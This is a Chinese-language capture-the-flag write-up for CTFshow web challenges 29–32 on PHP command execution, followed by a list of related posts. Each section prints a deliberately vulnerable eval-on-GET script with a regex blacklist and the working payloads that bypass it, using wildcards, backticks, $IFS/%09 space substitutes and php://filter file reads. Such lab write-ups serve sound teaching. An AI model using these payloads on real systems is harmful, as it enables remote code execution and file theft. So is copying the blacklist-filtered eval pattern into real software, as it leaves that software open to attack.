CTFshow-Web入门writeup
命令执行篇
web29
题目描述:命令执行,需要严格的过滤
做题过程:
1、分析源码:
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);#屏蔽Fatal error错误
if(isset($_GET['c'])){#非空判断$c = $_GET['c'];if(!preg_match("/flag/i", $c)){#正则表达,/i还不用区分flag的大小写了,这里就是对flag的过滤eval($c);}}else{highlight_file(__FILE__);
}
2、尝试解题:
思路:不考虑大小写,且过滤flag字节,尝试使用通配符f*,构造语句:
解法一:
?c=echo system('cat f*');
语句大意为,访问所有f开头的文件。看看效果:
解法二:
使用函数eval():将字符串当作php代码来执行。详见PHP: eval - Manual
构造语句:
?c=echo ``?><?php system('ls');
查看到存在flag.php,利用伪协议构造语句读取:
?c=echo ``?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php
解码获得flag。
解法三:
官方Hint:
和解法一类似,都是对flag的过滤绕过。构造语句:
?C=echo `nl fl''ag.php;
web30
题目描述:命令执行,需要严格的过滤
做题过程:
1、查看题目
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
2、过滤了“/flag|system|php/”,可以考虑使用反引号`来绕过,构造语句:
这里一开始构建的是 `cat *`但是没有回显,正向读取不行,就反向读取;
/?c=echo `tac *`;
法二:使用“cp”指令将flag.php中的数据复制到其他可访问的文件中,构造payload:
/?c=`cp fla?.??? 1.txt`;/1.txt
干货:(1)、tac 命令就是将文件反向输出,反向读取,Linux常用参数:
-b | 在行前而非行尾添加分隔标志 |
-r | 将分隔标志视作正则表达式来解析 |
-s | 使用指定字符串代替换行作为分隔标志 |
--version | 显示版本信息并退出 |
--help | 显示此帮助信息并退出 |
(2)、"?"是一个占位符,php语言中还有另外一个占位符":name",name表示变量名。使用方法详见我的另外一篇博客。
web31
题目描述:命令执行,需要严格的过滤
做题过程:
1、查看题目
<?phperror_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
2、查看过滤规则,这一次过滤多了cat|sort|shell|\.| |\'
在Linux系统中和cat功能相似的用以下命令:vi、tac、more、less、head、tail、sed、sort等
使用方法请点此处
注意:这里还过滤了空格,替代空格的有下列方法:
$IFS$9、$IFS、${IFS}、%09、%20、<、<>
3、这里使用tac命令和%09来构造payload:
?c=echo`tac%09*`;
web32
题目描述:命令执行,需要严格的过滤
做题过程:
1、查看题目
<?phperror_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
2、查看过滤规则,这次比上次过滤多了|\`|echo|\;|\(。这里过滤了反引号`、输出指令echo、以及分号;,就不考虑使用先前的方式了,使用include包含漏洞来构造语句:
?c=include$_GET["TW"]?>&TW=php://filter/read=convert.base64-encode/resource=flag.php
3、获取的字符使用base64解码即可获取flag
CTFshow-Web入门writeup相关推荐
- ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
- [ctfshow]web入门——文件上传(web156-web163)
[ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...
- CTFShow web入门题刷题记录
CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...
- 无字母数字rce(ctfshow web入门56)
无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...
- [ctfshow web入门]常用姿势801-806
1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...
- ctfshow web入门-XXE
ctfshow web入门-XXE web373 题目描述 解题思路 web374 题目描述 解题思路 web375 题目描述 解题思路 web376 题目描述 解题思路 web377 题目描述 解题 ...
- ctfshow web入门 命令执行 web29~web77 web118~web124
目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...
- ctfshow web入门 反序列化 前篇 254-266
这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 <?phperror_reporting(0); highlight_file ...
- Ctfshow web入门 PHP特性篇 web89-web151 全
web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭- 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件.题目 ...
- CTFshow——web入门——sql注入
web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...
最新文章
- asp备份恢复mssql数据库的代码
- 优秀的服务器托管服务商的必备要素
- java设计模式建造_java设计模式-建造者模式
- android多个闹钟实现,Android编程实现PendingIntent控制多个闹钟的方法
- 解析/etc/inittab 文件(转)
- luogu_1495【题解】中国剩余定理
- Pytorch Tensor.unfold()的简单理解与用法
- Linux下防火墙开启相关端口及查看已开启端口
- redis 基本指令
- 在controller类的每个方法执行前调用某个方法_springboot:异步调用@Async
- [Tarjan四连]Tarjan缩点
- 给Matlab添加工具箱Toolbox的方法(有截图详细讲解)(R2019b)
- C语言写的一个贪吃蛇小游戏(windows系统)
- mysqli _ fetch _ assoc()函数出现警告的原因
- 当年也是翩翩少年,如今落得秃顶大叔,程序员秃顶算工伤吗?
- 嵌入式入门学习笔记1:资料收集
- 【每日早报】2019/11/01
- carto_grapher快速安装避坑指南
- Revit API:Element 继承体系
- 大数据时代的隐私保护:“被遗忘权”